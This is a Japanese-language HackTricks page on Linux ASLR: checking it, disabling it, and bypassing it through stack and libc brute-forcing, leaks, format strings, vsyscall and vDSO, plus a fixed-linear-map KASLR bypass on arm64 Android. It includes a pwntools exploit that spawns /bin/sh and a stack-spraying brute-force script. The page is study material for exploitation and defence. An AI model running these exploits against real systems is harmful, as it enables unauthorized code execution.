ASLR
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Address Space Layout Randomization (ASLR) は、オペレーティングシステムで使用されるセキュリティ手法で、システムおよびアプリケーションプロセスが使用するメモリアドレスをランダム化します。これにより、スタック、ヒープ、ライブラリなどの特定のプロセスやデータの位置を攻撃者が予測することが著しく難しくなり、特に buffer overflows のような特定の種類のエクスプロイトを緩和します。
ASLRの状態確認
LinuxシステムでASLRの状態を確認するには、/proc/sys/kernel/randomize_va_space ファイルの値を読み取ります。このファイルに格納された値が適用されているASLRの種類を決定します:
- 0: ランダム化なし。すべて静的です。
- 1: 保守的なランダム化。共有ライブラリ、スタック、mmap()、VDSOページがランダム化されます。
- 2: 完全なランダム化。保守的なランダム化でランダム化される要素に加えて、
brk()で管理されるメモリもランダム化されます。
以下のコマンドでASLRの状態を確認できます:
cat /proc/sys/kernel/randomize_va_space
ASLR の無効化
ASLR を 無効化 するには、/proc/sys/kernel/randomize_va_space の値を 0 に設定します。ASLR を無効化することは、テストやデバッグの場面以外では一般に推奨されません。無効化する方法は以下の通りです:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
実行時にASLRを無効化することもできます:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
ASLR の有効化
ASLRを有効にするには、/proc/sys/kernel/randomize_va_space ファイルに値 2 を書き込みます。通常は root 権限が必要です。完全なランダム化を有効にするには、次のコマンドを使用します:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
再起動をまたいだ永続化
echo コマンドで行った変更は一時的で、再起動するとリセットされます。変更を永続化するには、/etc/sysctl.conf ファイルを編集し、次の行を追加または修正する必要があります:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
/etc/sysctl.conf を編集した後、変更を適用するには:
sudo sysctl -p
これにより、ASLR の設定が再起動後も維持されます。
Bypasses
32bit brute-forcing
PaX はプロセスのアドレス空間を 3 グループ に分けます:
- Code and data (initialized and uninitialized):
.text,.data, and.bss—>delta_exec変数に格納される 16 ビット のエントロピー。これは各プロセスごとにランダムに初期化され、初期アドレスに加算されます。 - Memory allocated by
mmap()and shared libraries —>delta_mmapと名付けられた 16 ビット。 - The stack —>
delta_stackと呼ばれる 24 ビット。しかし、実際には 11 ビット(10 バイト目から 20 バイト目までを含む)を使用し、16 bytes 境界に整列されます —> これにより 524,288 個の実際のスタックアドレス が得られます。
上記は 32-bit システム向けのデータであり、最終的なエントロピーが小さいため、exploit を何度も実行して成功するまで繰り返すことで ASLR を回避できる可能性があります。
Brute-force ideas:
- 十分に大きなオーバーフローがあり、big NOP sled before the shellcode を格納できるなら、スタック上のアドレスを総当たりして、制御が NOP sled の一部を飛び越える まで試すことができます。
- オーバーフローがそれほど大きくなく、exploit をローカルで実行できる場合は、NOP sled と shellcode を環境変数に置く という方法もあります。
- exploit がローカルで実行可能なら、libc のベースアドレスをブルートフォースすることを試みることができます(32bit システムで有用):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- リモートサーバを攻撃する場合、
libc関数usleepのアドレスを brute-force し、引数に 10 を渡す(例)ことで試すことができます。もしある時点でサーバが応答に追加で10秒かかるなら、その関数のアドレスを見つけたことになります。
Tip
64bit システムではエントロピーがはるかに高く、これはほとんど不可能です。
64 bits stack brute-forcing
env variables を使ってスタックの大部分を占有し、ローカルで binary を何百〜何千回も abuse して exploit することが可能です.
以下のコードは、スタック上のアドレスをjust select an address in the stackし、few hundreds of executionsごとにそのアドレスがNOP instructionを含むようになることを示しています:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force stack NOP 検出
```python import subprocess import tracebackStart the process
nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops
Define the environment variables you want to set
env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }
cont = 0 while True: cont += 1
if cont % 10000 == 0: break
print(cont, end=“\r”)
Define the path to your binary
binary_path = ‘./aslr-testing’
try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass
</details>
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### ローカル情報 (`/proc/[pid]/stat`)
プロセスのファイル **`/proc/[pid]/stat`** は常に誰でも読み取り可能で、**次のような興味深い情報** を含んでいます:
- **startcode** & **endcode**: バイナリの **TEXT** セグメントの開始と終了アドレス
- **startstack**: **stack** の開始アドレス
- **start_data** & **end_data**: **BSS** がある領域の開始と終了アドレス
- **kstkesp** & **kstkeip**: 現在の **ESP** と **EIP** のアドレス
- **arg_start** & **arg_end**: **cli arguments** がある領域の開始と終了アドレス
- **env_start** &**env_end**: **env variables** がある領域の開始と終了アドレス
したがって、攻撃者が脆弱なバイナリと同じコンピュータ上にいて、そのバイナリが生の引数からのオーバーフローではなく **このファイルを読んだ後に作成できる別の入力** からのオーバーフローを想定していない場合、攻撃者はこのファイルからいくつかのアドレスを取得し、それらからエクスプロイト用のオフセットを構築することが可能です。
> [!TIP]
> このファイルの詳細については [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) を参照し、`/proc/pid/stat` を検索してください
### leak がある場合
- **The challenge is giving a leak**
もし leak が与えられる場合(簡単な CTF チャレンジなど)、そこからオフセットを計算できます(例えば、攻撃対象のシステムで使用されている正確な libc バージョンを知っていると仮定した場合)。この例の exploit は [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) から抽出したものです(詳細はそのページを参照してください):
<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
buffer overflow を悪用すると、ret2plt を利用して libc の関数アドレスを exfiltrate することが可能です。参照:
- Format Strings Arbitrary Read
ret2plt と同様に、format strings の脆弱性を介して arbitrary read を得られる場合、GOT から libc function のアドレスを exfiltrate することが可能です。以下の example is from here:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
You can find more info about Format Strings arbitrary read in:
Ret2ret & Ret2pop
Try to bypass ASLR abusing addresses inside the stack:
vsyscall
The vsyscall mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of vsyscalls lies in their fixed addresses, which are not subject to ASLR (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.
ただし、ここではあまり面白い gadgets は見つからないことが多いです(例えば ret; に相当するものを得ることは可能です)。
(The following example and code is from this writeup)
For instance, an attacker might use the address 0xffffffffff600800 within an exploit. While attempting to jump directly to a ret instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a syscall provided by the vsyscall section can prove successful. By carefully placing a ROP gadget that leads execution to this vsyscall address, an attacker can achieve code execution without needing to bypass ASLR for this part of the exploit.
例: vmmap/vsyscall と gadget lookup の例
```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall] A syntax error in expression, near `.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'. gef➤ x/8g 0xffffffffff600000 0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305 0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 ```vDSO
したがって、カーネルが CONFIG_COMPAT_VDSO でコンパイルされている場合、vdso アドレスがランダム化されないため、vdso を悪用して ASLR を回避できる可能性がある点に注意してください。詳しくは以下を参照:
KASLR on ARM64 (Android): bypass via fixed linear map
多くの arm64 Android カーネルでは、kernel linear map (direct map) のベースがブート間で固定されています。物理ページに対するカーネルの VA が予測可能になり、direct map 経由で到達可能なターゲットに対する KASLR が破られます。
- For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
- PHYS_OFFSET = memstart_addr (exported symbol)
- Translation:
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)
Leaking PHYS_OFFSET (rooted or with a kernel read primitive)
grep memstart /proc/kallsymsでmemstart_addrのアドレスを確認- 任意の kernel read(例: tracing-BPF helper が
BPF_FUNC_probe_read_kernelを呼ぶ等)でそのアドレスから 8 バイト(LE)を読み取る - 直接マップ VA を計算:
virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)
Exploitation impact
- ターゲットが direct map 内、または direct map 経由で到達可能であれば、別個の KASLR leak は不要(例: page tables、あなたが影響を与えたり観測したりできる物理ページ上のカーネルオブジェクトなど)。
- arm64 Android 上での信頼できる任意 R/W とカーネルデータのターゲティングが容易になる。
Reproduction summary
grep memstart /proc/kallsyms->memstart_addrのアドレス- Kernel read -> 8 バイト LE をデコード ->
PHYS_OFFSET PAGE_OFFSET=0xffffff8000000000を用いてvirt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)を計算
Note
tracing-BPF helpers へのアクセスには十分な権限が必要です。
PHYS_OFFSETを取得するには、任意の kernel read primitive や info leak があれば十分です。
How it’s fixed
- 限られたカーネル VA 空間と CONFIG_MEMORY_HOTPLUG による将来の hotplug 用の VA 予約が、linear map をより低い VA に押し下げ(固定ベース化)ます。
- Upstream arm64 は linear-map のランダム化を削除しました(commit
1db780bafa4c)。
References
- Defeating KASLR by Doing Nothing at All (Project Zero)
- arm64: remove linear map randomization (commit 1db780bafa4c)
- Tracing BPF arbitrary read helper (Project Zero issue 434208461)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks

